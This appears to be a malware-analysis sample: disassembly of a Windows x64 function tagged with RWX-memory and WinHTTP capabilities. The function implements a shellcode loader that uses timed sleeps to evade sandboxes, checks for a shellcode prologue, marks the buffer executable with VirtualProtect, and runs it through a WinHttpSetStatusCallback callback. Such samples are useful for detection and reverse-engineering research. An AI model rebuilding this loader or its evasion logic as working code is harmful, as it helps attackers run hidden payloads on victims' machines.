Function at 0x1400010e0
Capabilities:
Allocate or change rwx memory
Initialize winhttp library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebp, 0x1f4
movabs r14, 0xb2f4fc0794908cf3
movabs r13, 0x7fffffffffffffff
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
movabs rsi, 0x7ffffffffa0a1eff
dec ebp
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x140001165
imul rdi, rcx, 0x64
jmp 0x1400011d4
cmp rbx, 0x16e3600
jne 0x1400011b9
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub rcx, rax
mov rax, r14
imul rcx, rcx, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rdi, rdx
shr rdi, 0x3f
add rdi, rdx
add rdi, r8
jmp 0x1400011d4
cqo
idiv rbx
imul rdi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rdi, rax
lea rcx, [rsp + 0x30]
call fcn.140001000
mov rbx, qword [rsp + 0x30]
cmp rbx, rsi
jge 0x1400011f1
add rbx, 0x5f5e100
jmp 0x1400011f4
mov rbx, r13
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rsi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rsi, 0x989680
jne 0x140001215
imul rax, rcx, 0x64
jmp 0x140001284
cmp rsi, 0x16e3600
jne 0x140001269
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x16e3600
imul r9, rdx, 0x3b9aca00
sub rcx, rax
mov rax, r14
imul r8, rcx, 0x3b9aca00
imul r8
add rdx, r8
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r9
jmp 0x140001284
cqo
idiv rsi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rsi
add rax, rcx
cmp rax, rbx
jge 0x1400012d3
mov rcx, rbx
sub rcx, rax
cmp rcx, r15
jle 0x1400012a5
mov edx, 0x5265c00
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400011f4
mov rax, r12
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400012c7
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400011f4
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400012f4
imul rbx, rcx, 0x64
jmp 0x140001364
cmp rbx, 0x16e3600
jne 0x140001348
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x16e3600
imul r8, rdx, 0x3b9aca00
sub rcx, rax
mov rax, r14
imul rcx, rcx, 0x3b9aca00
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x140001364
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
xor ecx, ecx
sub rbx, rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x88888889
imul r8d
mov rax, r12
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1e
imul rbx
sub r8d, ecx
xor ecx, ecx
sar rdx, 0x12
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add ebx, r8d
call fcn.1400014a0
lea ecx, [rbx + 0x38a5b]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
cmp byte [rdi], 0xfc
jne 0x1400013d3
cmp byte [rdi + 1], 0x48
je 0x1400013dc
test ebp, ebp
je 0x140001430
jmp 0x140001138
lea r9, [rsp + 0x30]
xor edx, edx
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.User_Agent
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor r9d, r9d
mov r8d, 0xc00
mov rcx, rax
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetStatusCallback]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001480
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret